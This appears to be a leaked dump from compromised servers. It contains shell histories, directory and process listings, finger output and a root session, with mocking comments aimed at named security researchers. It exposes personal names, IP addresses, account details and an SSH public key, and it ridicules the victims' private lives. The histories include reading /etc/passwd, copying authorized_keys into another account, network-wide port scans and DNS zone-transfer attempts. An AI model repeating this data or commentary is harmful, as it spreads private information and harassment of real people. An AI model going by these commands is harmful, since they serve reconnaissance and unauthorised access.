BitTorrent-3.4.2 | ( cd ~jay/ ; tar -xvf - ) 5679 cd ~jay 5680 lks 5681 ls 5682 chown -R jay BitTorrent-3.4.2/ 5683 ls -al 5684 chgrp jay BitTorrent-3.4.2/ 5685 chgrp -R jay BitTorrent-3.4.2/ 5686 su - jay 5687 cat /etc/passw 5688 cat /etc/passwd 5689 passwd jb 5690 passwd jay 5691 exit 5692 exit 5693 cat /etc/resolv.conf 5694 cat /etc/passwd 5695 su - jay 5696 su - jay 5697 su - jay 5698 ls 5699 su - jay 5700 exit 5701 ls 5702 cat /etc/passwd 5703 cd ~jay 5704 ls 5705 cd .ssh/ 5706 ls 5707 cat >known_hosts 5708 mv known_hosts authorized_hosts 5709 chown jay authorized_hosts 5710 ls 5711 ls -al 5712 chmod go-r authorized_hosts 5713 nmap 5714 nmap -sP 192.12.34.0/24 5715 nmap -sS 192.12.34.0/24 5716 nmap -P0 -sS 192.12.34.0/24 5717 dig -x 192.12.34.1 5718 dig -x 192.12.34.2 5719 dig -x 192.12.34.3 5720 dig -x 192.12.34.4 5721 dig -x 192.12.34.5 5722 dig -x 192.12.34.6 5723 dig -x 192.12.34.7 5724 dig -x 192.12.34.8 5725 dig -x 192.12.34.9 5726 ls 5727 screen -r 5728 exit 5729 exit 5730 clear 5731 dig @arizona.edu darthmouth.edu AXFR 5732 dig @ns1.dartmouth.edu darthmouth.edu AXFR 5733 dig @ns2.dartmouth.edu darthmouth.edu AXFR 5734 ifconfig 5735 clear 5736 last -i 5737 last jay 5738 last j 5739 last jb 5740 ssh root@129.170.18.156 5741 last jb 5742 ssh root@129.170.18.156 5743 ssh jay@129.170.18.156 5744 ssh jay@129.170.18.156 5745 exit 5746 cd ~jay 5747 ls 5748 cd .ssh/ 5749 ls 5750 cat authorized_keys* ~jb/.ssh/ 5751 cp authorized_keys* ~jb/.ssh/ 5752 man syslogd 5753 man syslogd 5754 exit 5755 exit 5756 ssh jay@129.170.18.249 5757 ssh jay@129.170.18.156 5758 #nmap -P0 -sS -p 1-65535 --max 5759 ping 70.250.13.88 5760 ping 70.250.13.89 5761 nmap -P0 -sS -p 1-65535 --initial_rtt_timeout=5 --min_rtt_timeout=5 --max_rtt_timeout=25 70.250.13.88 5762 screen 5763 screen 5764 ssh jay@holly 5765 ssh jay@129.170.18.156 5766 exit 5767 ssh jay@129.170.18.156 5768 nmap -P0 -sS -p 1-65535 --initial_rtt_timeout=5 --min_rtt_timeout=5 --max_rtt_timeout=25 -oA test-scan-ddi-for-quoting 70.250.13.88 5769 exit 5770 screen -r 5771 clear 5772 ssh jay@129.170.18.156 5773 ssh jay@129.170.18.156 5774 man pwcheck_pam 5775 ssh jay@129.170.18.249 5776 ssh jay@129.170.18.156 5777 ssh jay@129.170.18.156 5778 ssh jay@129.170.18.249 5779 su - jay 5780 exit 5781 cat /etc/hosts 5782 ssh jay@129.170.18.249 5783 exit 5784 ssh jay@24.18.17.11 5785 ssh -p 49356 jay@24.18.17.11 5786 ssh -p 49356 jay@24.19.18.11 5787 ssh -p 49356 jay@24.19.18.11 5788 last -i 5789 last 5790 last | less 5791 ssh -p 49356 jay@24.19.18.11 5792 nc 24.19.18.11 49356 5793 exit 5794 %ls -la psm 5795 total 236 5796 drwxr-x--- 7 psm pmjm 1536 Jul 13 15:34 . 5797 drwxr-xr-x 33 root wheel 1024 Jul 13 14:24 .. 5798 -rw------- 1 psm pmjm 173 Jul 10 2008 .Xauthority.gz 5799 -rw-r--r-- 1 psm pmjm 0 Jul 3 2004 .addressbook 5800 -rw------- 1 psm pmjm 2285 Jul 11 2004 .addressbook.lu 5801 -rw-r--r-- 1 psm pmjm 24 Jul 3 2004 .bash_logout 5802 -rw-r--r-- 1 psm pmjm 191 Jul 3 2004 .bash_profile 5803 -rw-r--r-- 1 psm pmjm 124 Jul 3 2004 .bashrc 5804 -rw-r--r-- 1 psm pmjm 771 May 30 2004 .cshrc 5805 -rw------- 1 psm pmjm 169 Jun 20 15:03 .lesshst 5806 -rw-r--r-- 1 psm pmjm 760 Jul 3 2004 .login 5807 -rw-r--r-- 1 psm pmjm 165 May 30 2004 .login_conf 5808 -rw------- 1 psm pmjm 371 May 30 2004 .mail_aliases 5809 -rw-r--r-- 1 psm pmjm 331 May 30 2004 .mailrc 5810 -rw-r--r-- 1 psm pmjm 11 Jul 3 2004 .mh_profile 5811 -rw-r--r-- 1 psm pmjm 2 Mar 24 2006 .msgsrc 5812 drwxr-xr-x 2 psm pmjm 512 May 9 21:38 .ncftp 5813 drwx------ 8 psm pmjm 512 May 9 21:38 .openwebmail 5814 -rw------- 1 psm pmjm 10632 Jul 3 2004 .pine-debug1 5815 -rw------- 1 psm pmjm 10768 Jul 3 2004 .pine-debug2 5816 -rw------- 1 psm pmjm 11164 Jul 3 2004 .pine-debug3 5817 -rw------- 1 psm pmjm 10790 Jul 3 2004 .pine-debug4 5818 -rw------- 1 psm pmjm 17153 Oct 2 2008 .pinerc 5819 -rw-r--r-- 1 psm pmjm 277 Jul 24 2006 .procmailrc 5820 -rw-r--r-- 1 psm pmjm 801 May 30 2004 .profile 5821 -rw-r--r-- 1 psm pmjm 852 May 30 2004 .shrc 5822 drwx------ 2 psm support 512 Jul 1 16:48 .spamassassin 5823 drwx------ 2 psm pmjm 512 May 9 22:32 .ssh 5824 drwxr-xr-x 2 psm pmjm 512 May 9 21:39 .ssh2 5825 -rw-r--r-- 1 psm pmjm 1457 Jan 24 2007 .tcshrc 5826 -rw------- 1 psm psm 198 Nov 13 2006 .vacation.msg 5827 %finger psm 5828 Login: psm Name: Paul S. Mauvais 5829 Directory: /home/psm Shell: /bin/tcsh 5830 Last login Mon Jul 13 13:35 (PDT) on ttyp4 from 128-107-239-233 5831 No Mail. 5832 No Plan. 5833 %ls -la hampshir/ 5834 total 159852 5835 drwxr-xr-x 7 hampshir hampshir 512 Sep 14 2007 . 5836 drwxr-xr-x 33 root wheel 1024 Jul 13 14:24 .. 5837 -rw-r--r-- 1 hampshir hampshir 24 Apr 2 2004 .bash_logout 5838 -rw-r--r-- 1 hampshir hampshir 191 Apr 2 2004 .bash_profile 5839 -rw-r--r-- 1 hampshir hampshir 124 Apr 2 2004 .bashrc 5840 -rw-r--r-- 1 hampshir hampshir 5531 Apr 2 2004 .canna 5841 -rw-r--r-- 1 hampshir hampshir 771 May 18 2005 .cshrc 5842 -rw-r--r-- 1 hampshir hampshir 847 Apr 2 2004 .emacs 5843 -rw-r--r-- 1 hampshir hampshir 120 Apr 2 2004 .gtkrc 5844 drwxr-xr-x 3 hampshir hampshir 512 Apr 2 2004 .kde 5845 -rw-r--r-- 1 hampshir hampshir 255 May 18 2005 .login 5846 -rw-r--r-- 1 hampshir hampshir 165 May 18 2005 .login_conf 5847 -rw------- 1 hampshir hampshir 371 May 18 2005 .mail_aliases 5848 -rw-r--r-- 1 hampshir hampshir 58 Apr 10 2004 .mailboxlist 5849 -rw-r--r-- 1 hampshir hampshir 331 May 18 2005 .mailrc 5850 drwx------ 7 hampshir mail 512 Apr 3 2004 .openwebmail 5851 -rw-r--r-- 1 root wheel 690 May 19 2005 .procmailrc 5852 -rw-r--r-- 1 hampshir hampshir 801 May 18 2005 .profile 5853 -rw------- 1 hampshir hampshir 276 May 18 2005 .rhosts 5854 -rw-r--r-- 1 hampshir hampshir 852 May 18 2005 .shrc 5855 drwx------ 2 hampshir hampshir 512 Oct 3 2006 .spamassassin 5856 -rw------- 1 hampshir hampshir 203 Apr 3 2004 .vacation.msg 5857 drwxr-xr-x 2 hampshir hampshir 512 Apr 2 2004 .xemacs 5858 -rw-r--r-- 1 hampshir hampshir 220 Apr 2 2004 .zshrc 5859 -rw------- 1 hampshir hampshir 81714487 Aug 2 2008 dead.letter 5860 drwxr-xr-x 2 hampshir wheel 512 May 9 14:35 mail 5861 %finger crystal 5862 Login: crystal Name: Crystal Williams (GF of DanK) 5863 Directory: /home/crystal Shell: /bin/sh 5864 On since Mon Jul 20 06:47 (PDT) on ttyp0, idle 1:53, from 76.14.85.220 5865 No Mail. 5866 No Plan. 5867 %ls -la /home/crystal 5868 total 44 5869 drwxr-xr-x 3 crystal crystal 512 Mar 21 09:33 . 5870 drwxr-xr-x 33 root wheel 1024 Jul 13 14:24 .. 5871 -rw-r--r-- 1 crystal crystal 751 Mar 21 09:32 .cshrc 5872 -rw-r--r-- 1 crystal crystal 248 Mar 21 09:32 .login 5873 -rw-r--r-- 1 crystal crystal 158 Mar 21 09:32 .login_conf 5874 -rw------- 1 crystal crystal 373 Mar 21 09:32 .mail_aliases 5875 -rw-r--r-- 1 crystal crystal 331 Mar 21 09:32 .mailrc 5876 -rw-r--r-- 1 crystal crystal 766 Mar 21 09:32 .profile 5877 -rw------- 1 crystal crystal 276 Mar 21 09:32 .rhosts 5878 -rw-r--r-- 1 crystal crystal 975 Mar 21 09:32 .shrc 5879 drwx------ 2 crystal crystal 512 Mar 21 09:33 .ssh 5880 %cat crystal/.ssh/authorized_keys 5881 ssh-dss 5882 AAAAB3NzaC1kc3MAAACBAKoahWlwtTNpzxIAEGtNvZh7ywdj/rz+hLYCeHov3BB/SHUs/L2puedXklA 5883 5gOBI3uUTuuzwuInb1TI5PxXbuN7xiWic8igMECPrRYZfpF7Gnq9ne2qiyVrFlqYRtWZiXEmm72exCa 5884 UApup/BMcIP1XA8Vx1Oi+F8NtSP/Z4lvCtAAAAFQDEkLqAVAzvn/F3fzkfRZZbzfbIywAAAIEAkmTgH 5885 3UAZs8o/JDTd8Y12BQD1AT4uWo035kiRPMm/G7nqwZRR/w3ivUcby/821kBSPEZ2Ef3ZP1mulv4cZYG 5886 Pm05KQj36oGMnZLTUWiM6JV2gymonfc533jfcc0j4THDLfohZpXNaEwdaXe/XkmVypX8KP0fh+rjzSg 5887 mCpMFcksAAACAFseVWv44o2y4aOem2bX3U3pvx2DOZaFHTjVr/LVW8HE459FlXxtHFAE49VcztwEVKU 5888 AsjnlpcpUZCpA/pNfv3Jf8HXGeDk8iujRZ6fzVAKHHm50H8EfX9kPF8ydyGkOA3l+mCCnzbKu9zdmSO 5889 9kn3w1GsKciG4lFE7tnf785YGw= macuser@localhost 5890 %ls -la / 5891 total 4009 5892 drwxr-xr-x 22 root wheel 1024 May 5 20:47 . 5893 drwxr-xr-x 22 root wheel 1024 May 5 20:47 .. 5894 -rw-r--r-- 2 root wheel 786 Jul 22 2008 .cshrc 5895 -rw-r--r-- 2 root wheel 253 Jul 22 2008 .profile 5896 drwxrwxr-x 2 root operator 512 Sep 19 2006 .snap 5897 -r--r--r-- 1 root wheel 6188 Jul 22 2008 COPYRIGHT 5898 drwxr-xr-x 2 root wheel 1024 Jul 23 2008 bin 5899 drwxr-xr-x 8 root wheel 1024 Jul 28 2008 boot 5900 drwxr-xr-x 2 root wheel 512 Sep 19 2006 cdrom 5901 lrwxr-xr-x 1 root wheel 10 Sep 19 2006 compat -> usr/compat 5902 dr-xr-xr-x 4 root wheel 512 May 5 13:49 dev 5903 drwxr-xr-x 2 root wheel 512 Sep 19 2006 dist 5904 -rw------- 1 root wheel 4096 May 5 20:47 entropy 5905 drwxr-xr-x 20 root wheel 2560 Jul 13 14:24 etc 5906 lrwxr-xr-x 1 root wheel 16 Sep 26 2006 export -> /usr/pmjm/export 5907 -rw-r--r-- 1 root wheel 2648 Sep 20 2006 findit.pl 5908 lrwxrwxrwx 1 root wheel 8 Sep 19 2006 home -> usr/home 5909 drwxr-xr-x 9 root wheel 512 Jul 17 2008 include 5910 -rw------- 1 root wheel 11834 Jul 28 2008 ktrace.out 5911 drwxr-xr-x 3 root wheel 2048 Jul 22 2008 lib 5912 drwxr-xr-x 2 root wheel 512 Jul 22 2008 libexec 5913 drwxr-xr-x 2 root wheel 512 Jun 5 2007 media 5914 drwxr-xr-x 2 root wheel 512 Nov 3 2005 mnt 5915 dr-xr-xr-x 2 root wheel 512 Nov 3 2005 proc 5916 -rw-r--r-- 1 root wheel 3059 May 5 20:50 razor-agent.log 5917 drwxr-xr-x 2 root wheel 2560 Jul 22 2008 rescue 5918 -rw------- 1 root wheel 1949696 Jul 22 2008 rndc.core 5919 drwxr-xr-x 7 root wheel 1024 May 10 07:08 root 5920 drwxr-xr-x 2 root wheel 3072 Jul 22 2008 sbin 5921 drwxr-xr-x 3 root wheel 512 Jul 17 2008 share 5922 lrwxr-xr-x 1 root wheel 11 Jul 22 2008 sys -> usr/src/sys 5923 drwxrwxrwt 17 root wheel 1536 Jul 20 08:40 tmp 5924 drwxr-xr-x 24 root wheel 512 Jul 23 2008 usr 5925 drwxr-xr-x 23 root wheel 512 May 5 13:49 var 5926 % ps ax 5927 PID TT STAT TIME COMMAND 5928 0 ?? WLs 0:00.00 [swapper] 5929 1 ?? SLs 1:27.55 /sbin/init -- 5930 2 ?? DL 3:09.12 [g_event] 5931 3 ?? DL 15:25.33 [g_up] 5932 4 ?? DL 16:49.89 [g_down] 5933 5 ?? DL 0:00.00 [thread taskq] 5934 6 ?? DL 0:00.00 [acpi_task_0] 5935 7 ?? DL 0:00.00 [acpi_task_1] 5936 8 ?? DL 0:00.00 [acpi_task_2] 5937 9 ?? DL 0:00.00 [xpt_thrd] 5938 10 ?? DL 0:00.00 [audit] 5939 11 ?? RL 107041:54.37 [idle: cpu0] 5940 12 ?? WL 3:03.61 [swi1: net] 5941 13 ?? WL 60:10.18 [swi4: clock sio] 5942 14 ?? WL 0:00.00 [swi3: vm] 5943 15 ?? DL 5:18.85 [yarrow] 5944 16 ?? WL 0:00.00 [swi6: Giant taskq] 5945 17 ?? WL 0:00.00 [swi6: task queue] 5946 18 ?? WL 0:00.00 [swi2: cambio] 5947 19 ?? DL 0:00.00 [kqueue taskq] 5948 20 ?? WL 0:00.00 [swi5: +] 5949 21 ?? WL 0:00.00 [irq9: acpi0] 5950 22 ?? WL 0:00.00 [irq23: atapci0] 5951 23 ?? WL 15:29.30 [irq22: atapci1] 5952 24 ?? WL 0:00.00 [irq19: ohci0 ohci+] 5953 25 ?? DL 0:00.36 [usb0] 5954 26 ?? DL 0:00.00 [usbtask-hc] 5955 27 ?? DL 0:00.00 [usbtask-dr] 5956 28 ?? DL 0:00.23 [usb1] 5957 29 ?? DL 0:00.39 [usb2] 5958 30 ?? WL 0:00.00 [irq14: ata0] 5959 31 ?? WL 0:00.00 [irq15: ata1] 5960 32 ?? WL 83:33.79 [irq21: rl0] 5961 33 ?? DL 9:31.22 [acpi_thermal] 5962 34 ?? DL 0:03.56 [acpi_cooling0] 5963 35 ?? WL 0:00.00 [swi0: sio] 5964 36 ?? WL 0:00.00 [irq1: atkbd0] 5965 37 ?? WL 0:00.00 [irq7: ppbus0 ppc0] 5966 38 ?? DL 0:00.00 [sctp_iterator] 5967 39 ?? DL 0:49.45 [pagedaemon] 5968 40 ?? DL 0:00.00 [vmdaemon] 5969 41 ?? DL 0:00.08 [pagezero] 5970 42 ?? DL 0:28.93 [bufdaemon] 5971 43 ?? DL 0:57.42 [vnlru] 5972 44 ?? DL 157:57.51 [syncer] 5973 45 ?? DL 3:21.70 [softdepflush] 5974 137 ?? Is 0:00.00 adjkerntz -i 5975 484 ?? Is 0:00.00 /sbin/devd 5976 545 ?? Ss 7:37.79 /usr/sbin/syslogd -l /var/run/log -l /var/named/var/run/log -c 5977 612 ?? Ss 3:46.39 /usr/local/sbin/named -u bind -c /etc/namedb/named.conf -t /var/named -u bind 5978 757 ?? Ss 18:27.79 /usr/local/bin/spamd -c -d -r -d -r /var/run/spamd/spamd.pid (perl5.8.8) 5979 796 ?? Ss 3:30.40 /usr/local/sbin/dovecot 5980 800 ?? S 0:56.92 dovecot-auth 5981 830 ?? Ss 4:14.31 /usr/local/sbin/httpd -D SSL 5982 846 ?? Ss 5:24.13 /usr/sbin/sshd 5983 862 ?? Ss 0:18.38 /usr/sbin/cron -s 5984 1634 ?? I 0:00.58 /usr/local/sbin/httpd -D SSL 5985 2329 ?? Is 0:00.04 sshd: crystal [priv] (sshd) 5986 2331 ?? S 0:00.47 sshd: crystal@ttyp0 (sshd) 5987 2897 ?? Ss 19:04.18 sendmail: accepting connections (sendmail) 5988 2901 ?? Is 0:02.23 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail) 5989 2976 ?? I 0:00.59 /usr/local/sbin/httpd -D SSL 5990 2978 ?? I 0:00.75 /usr/local/sbin/httpd -D SSL 5991 2979 ?? I 0:00.57 /usr/local/sbin/httpd -D SSL 5992 4171 ?? I 0:00.40 /usr/local/sbin/httpd -D SSL 5993 4173 ?? I 0:00.41 /usr/local/sbin/httpd -D SSL 5994 4174 ?? I 0:00.37 /usr/local/sbin/httpd -D SSL 5995 4175 ?? I 0:00.36 /usr/local/sbin/httpd -D SSL 5996 4177 ?? I 0:00.43 /usr/local/sbin/httpd -D SSL 5997 5880 ?? I 0:01.88 /usr/local/sbin/httpd -D SSL 5998 5883 ?? I 0:01.81 /usr/local/sbin/httpd -D SSL 5999 6790 ?? I 0:00.00 sendmail: server [122.50.138.199] cmd read (sendmail) 6000 9957 ?? I 0:01.01 /usr/local/sbin/httpd -D SSL 6001 9958 ?? I 0:01.05 /usr/local/sbin/httpd -D SSL 6002 15274 ?? I 0:00.01 imap-login 6003 17964 ?? Ss 0:00.19 sshd: root@ttyp4 (sshd) 6004 19855 ?? Ss 0:00.02 sshd: [accepted] (sshd) 6005 19856 ?? Ss 0:00.02 sshd: [accepted] (sshd) 6006 19857 ?? S 0:00.01 sshd: [net] (sshd) 6007 19858 ?? S 0:00.01 sshd: [net] (sshd) 6008 36675 ?? Is 0:02.83 screen -D -R 6009 39878 ?? I 1:02.49 spamd child (perl5.8.8) 6010 41436 ?? I 0:00.20 /usr/local/sbin/httpd -D SSL 6011 56971 ?? I 0:00.06 /usr/local/sbin/httpd -D SSL 6012 57216 ?? I 0:00.17 /usr/local/sbin/httpd -D SSL 6013 66304 ?? I 0:01.24 /usr/local/sbin/httpd -D SSL 6014 68863 ?? I 0:00.31 /usr/local/sbin/httpd -D SSL 6015 82722 ?? I 0:00.01 imap-login 6016 83501 ?? I 0:00.19 /usr/local/sbin/httpd -D SSL 6017 83937 ?? I 0:00.01 imap-login 6018 87429 ?? I 0:00.47 /usr/local/sbin/httpd -D SSL 6019 89035 ?? I 0:00.00 /bin/sh -c /usr/local/sbin/rotatelogs /var/log/httpd-error.log 604800 6020 89036 ?? I 0:00.42 /usr/local/sbin/rotatelogs /var/log/httpd-error.log 604800 6021 89037 ?? I 0:00.00 /bin/sh -c /usr/local/sbin/rotatelogs /var/log/httpd-access.log 86400 6022 89038 ?? I 0:02.12 /usr/local/sbin/rotatelogs /var/log/httpd-access.log 86400 6023 99329 ?? I 0:04.04 spamd child (perl5.8.8) 6024 906 v0 Is+ 0:00.00 /usr/libexec/getty Pc ttyv0 6025 907 v1 Is+ 0:00.00 /usr/libexec/getty Pc ttyv1 6026 908 v2 Is+ 0:00.00 /usr/libexec/getty Pc ttyv2 6027 909 v3 Is+ 0:00.00 /usr/libexec/getty Pc ttyv3 6028 910 v4 Is+ 0:00.00 /usr/libexec/getty Pc ttyv4 6029 911 v5 Is+ 0:00.00 /usr/libexec/getty Pc ttyv5 6030 912 v6 Is+ 0:00.00 /usr/libexec/getty Pc ttyv6 6031 913 v7 Is+ 0:00.00 /usr/libexec/getty Pc ttyv7 6032 770 con- I 0:00.01 /bin/sh /usr/local/bin/mysqld_safe --defaults-extra-file=/usr/pmjm/db/my.cnf --user=mysql --datadir=/usr/pmjm/db --pid-file=/usr/pmjm/db/doxpara.com.pid 6033 804 con- I 45:18.02 /usr/local/libexec/mysqld --defaults-extra-file=/usr/pmjm/db/my.cnf --basedir=/usr/local --datadir=/usr/pmjm/db --pid-file=/usr/pmjm/db/doxpara.com.pid 6034 2333 p0 Ss+ 0:00.04 sh -c while [ 1 ] ; do echo 1864; sleep 60; done 6035 19791 p0 S+ 0:00.00 sleep 60 6036 36678 p1 Is+ 0:00.11 /usr/local/bin/bash 6037 58554 p2 Is+ 0:00.04 /usr/local/bin/bash 6038 37114 p3 Is 0:00.05 /usr/local/bin/bash 6039 56230 p3 S+ 9:29.89 pine 6040 17981 p4 Ss 0:00.07 -csh (csh) 6041 19859 p4 R+ 0:00.00 ps ax 6042 6043 // Some random exerpts from another session... 6044 6045 // Jay Beale shows off elite nmap skillz in this .bash_history 6046 6047 exit 6048 ls 6049 cd .ssh/ 6050 ls 6051 cp authorized_hosts authorized_hosts2 6052 exit 6053 cd .ssh/ 6054 ls 6055 man authorized_hosts 6056 mv authorized_hosts authorized_keys 6057 mv authorized_hosts2 authorized_keys2 6058 exit 6059 ls 6060 rm -fr BitTorrent-3.4.2/ 6061 ls 6062 ssh jay@24.19.18.11 6063 ssh -p 49356 jay@24.19.18.11 6064 exit 6065 scp -P 49356 "jay@24.19.18.11:*.tbz2" 6066 scp -P 49356 "jay@24.19.18.11:*.tbz2" . 6067 ls 6068 rm *tbz2 6069 ls 6070 exit 6071 su - 6072 ls 6073 #j 6074 exit 6075 nmap 6076 nmap -h 6077 mannmap 6078 man nmap 6079 nmap -sL 192.52.229.0/24 6080 nmap -sL 192.58.37.0/22 6081 nmap -sL 192.58.37.0/22 >192.58.37.0-slash-22.txt 6082 ls 6083 ftp ftplocal.dartmouth.edu 6084 exit 6085 last -i 6086 last | less 6087 man last 6088 man last 6089 last jay 6090 w 6091 ssh jay@techsec 6092 ssh jay@129.170.18.249 6093 6094 6095 %head 192.58.37.0-slash-22.txt 6096 Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-08-16 11:13 PDT 6097 Host 192.58.36.0 not scanned 6098 Host 192.58.36.1 not scanned 6099 Host 192.58.36.2 not scanned 6100 Host 192.58.36.3 not scanned 6101 Host 192.58.36.4 not scanned 6102 Host 192.58.36.5 not scanned 6103 Host 192.58.36.6 not scanned 6104 Host 192.58.36.7 not scanned 6105 %tail 192.58.37.0-slash-22.txt ^M 6106 Host 192.58.39.247 not scanned 6107 Host 192.58.39.248 not scanned 6108 Host 192.58.39.249 not scanned 6109 Host 192.58.39.250 not scanned 6110 Host 192.58.39.251 not scanned 6111 Host 192.58.39.252 not scanned 6112 Host 192.58.39.253 not scanned 6113 Host 192.58.39.254 not scanned 6114 Host 192.58.39.255 not scanned 6115 Nmap run completed -- 1024 IP addresses (0 hosts up) scanned in 133.227 seconds 6116 6117 6118 Is Dan auditing pine? If only. 6119 %file pine.core 6120 pine.core: ELF 32-bit LSB core file Intel 80386, version 1 (FreeBSD), FreeBSD-style, from 'pin' 6121 %echo oh shit, pine 0day^M 6122 oh shit, pine 0day 6123 6124 // If you were paying attention you might have caught Dan looking for dating help 6125 -rwx------ 1 effugas wheel 19253 May 20 2007 Alpha Man Conversation & Persuasion.torrent 6126 -rwx------ 1 effugas wheel 18865 Nov 4 2006 David X Seduction and Relationships Seminar.torrent 6127 -rwx------ 1 effugas wheel 20767 Oct 24 2006 Juggler - Charisma Arts Bootcamp.avi.torrent 6128 -rwx------ 1 effugas wheel 28554 Nov 18 2006 PickUp 101 - He Said, She Said - Volume 1.torrent 6129 6130 // Dan is gonna be an ALPHA MAN 6131 6132 // WATCH OUT LADIES 6133 6134 6135 !~~~~~~~~~ backend.doxpara.com ~~~~~~~~! 6136 6137 6138 root@209.40.204.174's password: 6139 Last login: Wed Jun 24 10:22:29 2009 from 88.79.237.13 6140 root@ovz-test:~# uname -a; id 6141 Linux ovz-test 2.6.18-53.1.13.el5xen #1 SMP Tue Feb 12 14:04:18 EST 2008 i686 GNU/Linux 6142 uid=0(root) gid=0(root) groups=0(root) 6143 root@ovz-test:/root# ls -la 6144 total 36892 6145 drwxr-xr-x 12 root root 4096 Jun 24 10:23 . 6146 drwxr-xr-x 21 root root 4096 Dec 22 2008 .. 6147 -rw-r--r-- 1 root root 15180 Jun 24 11:38 .bash_history 6148 -rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc 6149 drwxr-xr-x 3 root root 4096 Jun 16 16:54 .cpan 6150 drwx------ 2 root root 4096 Jun 24 10:24 .irssi 6151 -rw------- 1 root root 57 Apr 13 07:48 .lesshst 6152 -rw------- 1 root root 466 Dec 27 2008 .mysql_history 6153 -rw-r--r-- 1 root root 141 Oct 20 2007 .profile 6154 drwx------ 2 root root 4096 Dec 27 2008 .ssh 6155 -rw-r--r-- 1 root root 62682 Jun 7 21:36 Net-Twitter-3.01000.tar.gz 6156 drwxr-xr-x 5 500 500 4096 Dec 28 1999 SMTP-Server-1.1 6157 -rw-r--r-- 1 root root 13166 Dec 29 1999 SMTP-Server-1.1.tar.gz 6158 drwxrwxr-x 9 10132 root 4096 Dec 22 2008 bind-9.2.9 6159 -rw-r--r-- 1 root root 5477026 Sep 25 2007 bind-9.2.9.tar.gz 6160 drwxrwxr-x 9 10132 root 4096 Dec 25 2008 bind-9.4.1-P1 6161 -rw-r--r-- 1 root root 6341409 Dec 25 2008 bind-9.4.1-P1.tar.gz 6162 drwxrwxrwx 13 root root 4096 Apr 15 00:17 expat-2.0.1 6163 -rw-r--r-- 1 root root 446456 Jun 7 2007 expat-2.0.1.tar.gz 6164 -rw-r--r-- 1 root root 1725 Feb 15 20:12 huh 6165 -rw-r--r-- 1 root root 3363 Dec 22 2008 index.html?pkg=bind9%2F9.2.9%2Fbind-9.2.9.tar.gz 6166 -rw-r--r-- 1 root root 4404 Dec 22 2008 index.html?pkg=bind9%2F9.2.9%2Fbind-9.2.9.tar.gz&name=BIND 9.2.9 Source&noframes=1 6167 -rw-r--r-- 1 root root 2927234 Mar 6 00:58 log 6168 -rw-r--r-- 1 root root 469 Feb 15 20:47 log2 6169 -rw-r--r-- 1 root root 580907 Feb 15 20:37 log3 6170 -rw-r--r-- 1 root root 1601803 Feb 15 22:06 mslog 6171 drwxrwxrwx 13 notroot notroot 4096 Apr 13 08:11 netatalk-2.0.3 6172 -rw-r--r-- 1 root root 1471804 May 18 2005 netatalk-2.0.3.tar.bz2 6173 -rw-r--r-- 1 root root 5751 Apr 4 2007 proxyfuzz.py 6174 -rw-r--r-- 1 root root 1780510 Mar 6 05:15 tightvnc-1.3.10_unixsrc.tar.bz2 6175 drwxr-xr-x 9 notroot notroot 4096 Apr 13 05:55 vnc_unixsrc 6176 drwx------ 11 root root 4096 Dec 26 2008 wireshark-1.0.5 6177 -rw-r--r-- 1 root root 16861293 Dec 10 2008 wireshark-1.0.5.tar.gz 6178 root@ovz-test:/root# cat .bash_history 6179 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6180 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6181 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6182 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6183 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6184 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6185 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6186 killall named 6187 named 6188 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6189 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6190 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6191 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6192 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6193 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6194 killall named 6195 named 6196 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6197 killall named 6198 named 6199 dig @127.0.0.1 ns1.toorrr.com 6200 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6201 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6202 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6203 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6204 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6205 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6206 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6207 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6208 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6209 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6210 killall named 6211 named 6212 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6213 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6214 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6215 killall named 6216 named 6217 dig @127.0.0.1 ns1.toorrr.com 6218 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6219 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6220 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6221 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6222 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6223 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6224 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6225 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6226 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6227 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6228 dig @127.0.0.1 $RANDOM.ns1.toorrr.com 6229 dig @127.0.0.1 www.toorrr.com 6230 killall named 6231 dig @127.0.0.1 www.toorrr.com 6232 dig @127.0.0.1 www.toorrr.com 6233 dig @127.0.0.1 www.toorrr.com 6234 dig @deluvian.doxpara.com www.toorrr.com 6235 dig @deluvian.doxpara.com www.toorrr.com 6236 dig www.toorrr.com 6237 dig @127.0.0.1 www.toorrr.com 6238 dig @127.0.0.1 www.toorrr.com 6239 dig @127.0.0.1 www.toorrr.com any 6240 dig @127.0.0.1 ns1.toorrr.com 6241 killall named 6242 named 6243 dig @127.0.0.1 ns1.toorrr.com 6244 dig @127.0.0.1 www.toorrr.com 6245 dig @127.0.0.1 foo.www.toorrr.com 6246 dig 